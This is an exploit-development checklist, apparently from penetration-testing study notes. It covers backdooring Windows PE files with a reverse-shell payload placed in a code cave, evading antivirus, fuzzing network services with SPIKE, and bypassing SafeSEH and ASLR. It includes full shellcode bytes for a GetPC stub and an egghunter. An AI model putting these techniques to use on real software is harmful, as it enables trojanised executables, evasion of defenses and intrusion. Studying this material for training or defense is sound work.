Exploits Development Checklist
Exploits Development Checklist
- Backdooring PE files:
- Find a code cave (place to put the shellcode)
- new section (doesn't always work):
- create a new PE section in the header (LordPE)
- make the new section executable (section flags)
- null bytes:
- find a sequence of null bytes (0x00) at the file
- make the section that contains these bytes executable (section flags)
- Save data about the beginning instructions:
- the 1st 5 bytes at the file's entry point
- the address of the following instruction
- Change the 1st 5 bytes to a jump to the code cave (JMP <codecave_address>)
- if 5 bytes splits some instruction, fill with NOP and copy it at the end of the code cave
- At the code cave:
- save the registers values (PUSHAD)
- save the flags values (PUSHFD)
- copy the shellcode
- avoid "waiting for single object":
- use MSF2 win32_reverse payload
- change the bytes "\x6a\xff\xff\x37" to "\x6a\x00\xff\x37"
- realign the stack (ADD ESP, xx)
- save the value of ESP after executing the PUSHFD instruction (ESP1)
- save the value of ESP after executing the last shellcode instruction (ESP2)
- xx = ESP1 - ESP2
- restore the original flags values (POPFD)
- restore the original registers values (POPAD)
- copy the original first 5 bytes (or more, if some instruction was replaced with NOP)
- jump to the instruction that follows the replaced entry point instructions (JMP <following_instruction_address>)
PS: idea to bypass anti-virus at client-side attacks -> as the AV usually identify the exploit (even when they do not identify the
shellcode), generating script codes with random variables and functions names can bypass the AV signature! See the post at: http://
funoverip.net/2011/04/100pc-anti-virus-evasion-with-metasploit-browser-exploits-from-ms11-003/
- Fuzzing applications:
- modify SPIKE to terminate execution when it cannot send to a socket (crash?)
- download SPIKE source from http://www.immunitysec.com/resources-freesoftware.shtml
- edit the file spike.c in SPIKE/SPIKE/src:
- find the two “return 0;” string that immediately follow the line “printf(“tried to send to a closed socket!\n”);”
- replace these two “return 0;” lines with “exit(1);”
- compile the source code
- "./configure; make"
- capture and analyze the protocol packets format with Wireshark and/or checking documentation (RFC?)
- create a spike template (examples: /pentest/fuzzers/spike/src/audits/):
PS: add extra commands into the spike script to get additional terminal output from SPIKE
- s_binary("HEXA"); // binary fixed data
- s_string("STRING"); // string fixed data
- s_string_variable("DEFAULT"); // variable. "DEFAULT" when not fuzzing this variable
- s_block_start("BLOCK1"); // defines the start of block "BLOCK1"
- s_block_end("BLOCK1"); // defines the end of block "BLOCK1"
- s_blocksize_string("BLOCK1", 2); // adds a string 2 characters long to the SPIKE that represents the size of block "block1"
- s_binary_block_size_byte("BLOCK1"); // adds a 1 byte value to the SPIKE that represents the size of block "block1"
- sleep(<seconds>); // wait. Not necessary! Useful to check which variable and buffer size crashed the
application!
- s_read_packet(); // Reads and prints to screen data received from the server
- s_readline(); // Reads and prints to screen a line received from the server
- run spike (if error: cp libdlrpc.so /usr/lib) capturing the packets with wireshark (capture filter: "host xxx and tcp port yyy"):
- generic_send_tcp: connects to a target host:port over tcp and fuzz a specific packet according to a SPIKE script
- generic_send_udp: connects to a target host:port over udp and fuzz a specific packet according to a SPIKE script
- generic_send_stream_tcp: connects to a target host:port over tcp and fuzzes a list of packets
(useful for protocols such as HTTP, FTP, POP3 and others)
- generic_listen_tcp: listens on a specific tcp port. When a connection is made, it fuzzes a specific packet according to a SPIKE
script
- generic_listen_udp: listens on a specific udp port. When a connection is made, it fuzzes a specific packet according to a SPIKE
script
- syntax:
- generic_send_udp <server_ip> <service_port> <spike_template.spk> <variable_number> <string_type> [max_size]
- ex: ./generic_send_udp 192.168.1.203 69 tftp.spk 0 0 5000
- identify which variable and buffer size caused the crash
- use the "sleep" command to help visualization of the spike iterations
- check the spike/script output when it stops printing the received content or finishes execution (the service stopped answering/
sending packets)
- look at the debugger for repeated strings at the memory and at the stack
- count the size of the repeated string (in Olly, double click at the 1st address and look the offset at the last address)
- look at wireshark the first packet that didn't receive a answer from the server (compare with the string identified at Olly)
- "Edit" -> "Find Packet" -> "Up". Change for "String" mode and look for a string that is present in all server responses
- "Follow TCP Stream" on the packet next to the search indicated packet
- write a skeleton script to replicate the crash
- test with other buffer sizes and strings and choose the best option (bigger space for the shellcode, good return addresses)
- Avoiding SafeSEH:
- check with Olly SafeSEH plugin wich DLL was not compiled with SafeSEH support
- to install it, just copy the "OllySSEH.dll" file to the "...\OllyDBG\Plugins\" folder
- check with Immunity "mona.py" plugin which DLL was not compiled with SafeSEH support
- !mona findwild -s "pop r32#pop r32#retn" -cm safeseh=false
- Avoiding/Bypassing ASLR:
- check with Immunity "mona.py" plugin which DLL was not compiled with ASLR support
- !mona jmp -r esp -cm aslr=false,rebase=false -cp nonull
- write down the modules base address, reboot the machine and compare with the new base address of the modules
- overwrite EIP partially (only with the less significant 2 bytes)
- code that uses floating point operations to copy EIP into ECX, decrement and jump to it
(\xD9\xEE\xD9\x74\x24\xF4\x59\xFE\xCD\xFE\xCD\xFF\xE1 -> size = 13B):
$+0 D9EE fldz ; push 0 onto the FPU stack (registers ST0-ST7) using a floating point
operation
$+2 D97424F4 fnstenv [esp-12] ; Save environment at ESP-0xC; now [ESP] = $+0
$+6 59 pop ecx ; pop the top of the stack (address of fldz) to ECX
$+7 FECD dec ch ; decrements ch (the 2nd to last byte in ECX). Results in ECX - 256
(decimal)
$+9 FECD dec ch ; decrements ch (the 2nd to last byte in ECX). Results in ECX - 256
(decimal)
$+B FFE1 jmp ecx ; jmp to ECX = fldz location ($+0) - 512 (decimal)
(Put "bmyTbmyT" just before the shellcode. EDX is used to iterate over the memory. Size = 32B):
(\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x6d\x79\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7)
(PS: the egghunter overwrites 8 bytes just before the position pointed by ESP!)
- compile the EGGHUNTER generator (at windows):
- cl egghunter.c /link /debug
- wine egghunt.exe cstyle <hex_code_egg> (ex: 0x54796D62 for "Tymb" / 0x57303054 for "W00T")
loop_inc_page:
$+0 6681CAFF0F or dx,0xfff : Go to last address in page n (this could also be used to
: XOR EDX and set the counter to 00000000)
loop_inc_one:
$+5 42 inc edx : Go to first address in page n+1
loop_check:
$+6 52 push edx : Save edx which holds our current memory location
$+7 6A02 push 0x2 : Initialize the call to NtAccessCheckAndAuditAlarm
$+9 58 pop eax : Initialize the call to NtAccessCheckAndAuditAlarm
$+A CD2E int 0x2e : Perform the system call
$+C 3C05 cmp al,0x5 : Check for access violation (0xc0000005 = ACCESS_VIOLATION)
$+E 5A pop edx : Restore EDX to check later the content of pointed address
loop_check_8_valid:
$+F 74EF jz 0x0 : Go to next page if access violation was encountered
is_egg:
$+11 B8626D7954 mov eax,0x54796D62 : Load the egg (Tymb in this example)
$+16 8BFA mov edi,edx : Initializes pointer with current checked address
$+18 AF scasd : Compare EAX with doubleword at EDI and set status flags
$+19 75EA jnz loop_inc_one : If it has not matched, will increase the memory counter by one
$+1B AF scasd : If matched, check for the second part of the egg (repeated)
$+1C 75E7 jnz loop_inc_one : If it has not matched, means it found a location with half an egg
: Will increase the memory counter by one
matched:
$+1E FFE7 jmp edi : EDI points to the first byte of the shellcode!
PS: to change the initial memory position where the egghunter searches (prepend instructions):
- put a register value into EDX (MOV EDX, <register>)
- put a offset from ESP into EDX(MOV EDX, ESP; ADD/SUB EDX <offset> | POP EDX; POP EDX; ...
- put a hardcoded address into EDX (dangerous! MOV EDX, 0xaddress)